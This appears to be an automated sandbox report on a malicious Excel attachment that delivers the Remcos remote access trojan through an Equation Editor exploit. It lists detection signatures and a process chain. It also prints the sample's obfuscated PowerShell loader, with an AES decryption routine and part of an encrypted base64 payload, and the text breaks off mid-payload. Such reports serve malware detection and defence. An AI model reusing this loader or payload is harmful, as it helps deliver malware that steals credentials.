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Windows
Analysis Report
AWD 490104998518.xls
Overview
General Information
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs a global keyboard hook
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found URL in obfuscated visual basic script code
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Excel Network Connections
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w7x64
- EXCEL.EXE (PID: 724 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - WINWORD.EXE (PID: 2504 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" -Em bedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) - EQNEDT32.EXE (PID: 3120 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) - wscript.exe (PID: 3196 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\creat ednewwater bottleform .vBS" MD5: 979D74799EA6C8B8167869A68DF5204A) - powershell.exe (PID: 3240 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command ( ('((e4jfun ction Decr ypt-AESEnc ryption {P aram([Stri ng]TMIBase 64Text,[St ringe4j+e4 j]TMIKey)T MIe4j+e4ja esManaged = New-Obje ct System. See4j+e4jc urity.Cryp tography.A esManaged; TMIa'+'esM anagee4j+e 4'+'jd.Mod ee4j+e4j = [Syse4j+' +'e4jtem.S ecurity.Cr yptoge4j+e 4jraphy.e4 j+e'+'4jCi e4'+'j+e4j pherMode]: :CBC;TMIae sManaged.' +'Pae4j+e4 jddin'+'g = [System. Security.C ryptograph y.PaddingM ode]::Zero s;TMIaesMa naged.Bloc kSiz'+'e = 128;TMIae sManaged.K eySize = 2 56;'+'TMIa esManagee4 j+'+'e4jd. Key = ('+' New-Object e4'+'j+e4j System.Se curity.Cry ptography. SHA256Mana ged).Compu teHash([Sy ste'+'m.Te xt.Encodin g]::UTF8.G ee4j+e4jtB ytes(TMIKe y));TMIcip herBytes = [Syst'+'e m.Convert] ::FromBase 64String(T MIBase64Te xt);TMIaes Managed.IV '+'= TMIc ipherBytes [0..15];TM Idecryptor = TMIaesM anaged.Cre ateDecrypt or();TMIde cryptedByt es = TMIde cryptor.Tr ansformFin '+'alBlock (TMIcipher Bytes, 16, TMIcipher Bytes.Leng th - 16);e 4j+e4jTMIa e'+'sManag ed.D'+'isp ose('+');r eturn [Sys tem.Text.E ncoding]:: UTF8.GetSt ring'+'(TM Idecry'+'p tedBytes). Tre4j+e4ji m([char]0) ;}TMIchave = CnI6876 6530954276 3732062470 47974663Cn Ie4j+e4j;T MItextoCri ptogr'+'af adoBase4j+ e4je64 = ' +'CnIdSLZB gRjPNZ/qoc g/lH2aZHZ5 Jl+3cjSG1p /+zzQRClxM 6ERqs615j4 oDskIGVeU9 U0hKzWE2qL RhN3w3oPnP 9D3zRR0BjW DDOAHuyfLs ijMtAivmVq njEhi75GYn /731w2sw2L X9rePUu8Mu zZBPukpDJj P40wnUy5RX UPJoZQj2IJ HLLwPLeWAV LyYam2ryxj +aZ147db0X 48wxpHj1wz IXORWhGABO aWwaSlaHL3 gmVyt1aXV7 FBFES5Qqte bxGfvLhl4i UZNYV88W0L KeIoUGNbEQ Fkzf13DC0I by1tFcGdBD 33I0Q+W2Tv g+5qcSyDt3 9hGQc+cPQJ W6i+zS5Pda yxMRwfx6SH ZXH4Wqvwv1 PSLLBL05m+ vUyyZdWHee 1jJZK1IYpJ 679FIiTnjU qbP5xka/o9 mFQDN8rr6+ t3w5UZ8/qZ mHx1mVRoEQ QE9sfqxRdM 4XzLD6zM0x vTyXDiPtOr ir9Y56WYwI LgvowZC7rt lCr5vnoqSq CeZ+TBUh3I 8J+drjXQv5 Li4WPY7XJz FYZPaPMsWD QEjc1bMNXh VQ0Ukf2iM7 FfM7k6Nze4 qwdaBy3eAe QAbrjji8e0 i57J7CMED3 6TsJyhF0u0 3e/7/3gWxH IosnVfstQl 9YchNNE0mc QpHtSiF3PX t9EE9Ulz// 7YH3sp7ZQK ed24Zy6boP jqU9Ryt/0q HB2CgOA9dD gikPiavuiS SZwbmMVP3w zAzgXN3nBC y0PstnP16F jfPsLfXhDA 3NS1dtwaJQ 0liDeM77UG 2Ki38eJ/rr uKe9qgo+Fu He0xchT8/W f5NVYoxrcA SiFgam2A+W OxlafeNmbR 8szgcpCGnp Zl/NgN6Oss aRDn26lO+f P2jr2C/5Yc 3McAo0Ld51 WdEwKzWP8b 1W57wqS7gM MfAyZ4qaXw Bt0DPwXCDT 4lDwrWOtFJ tHKkrSrB29 mx+ZSiTGJd 4zwLYP4xGK n+mDlT0rPm QDAZM0Hkrf yo5dxlRZHs LsW0XCN3Eu XI+4932vGm 0QSE+1K4qu ce5wQtHb1z oJKShclZ3B MUvCdOwmEd kxUQXKG7Dt jDx8uVaNsA ElTRbqENfo Yu9eWmyI9L zKR9oZNPS+ COhZr5JHq9 hpvTMcsOld artIGHZY80 SQMOSaGVIg dyoyJGpNwd UZLlDYe8NY QDaAJUhcq2 7lHvZkYQVa jhD3kDVJQb OIf1lYyaY5 2Jn1dHnhXG k0nluzd0il XEHvzPHLaV eocoCd50UQ J+q1KgXN7g S2k+ZoaXga MSw9ouBoVy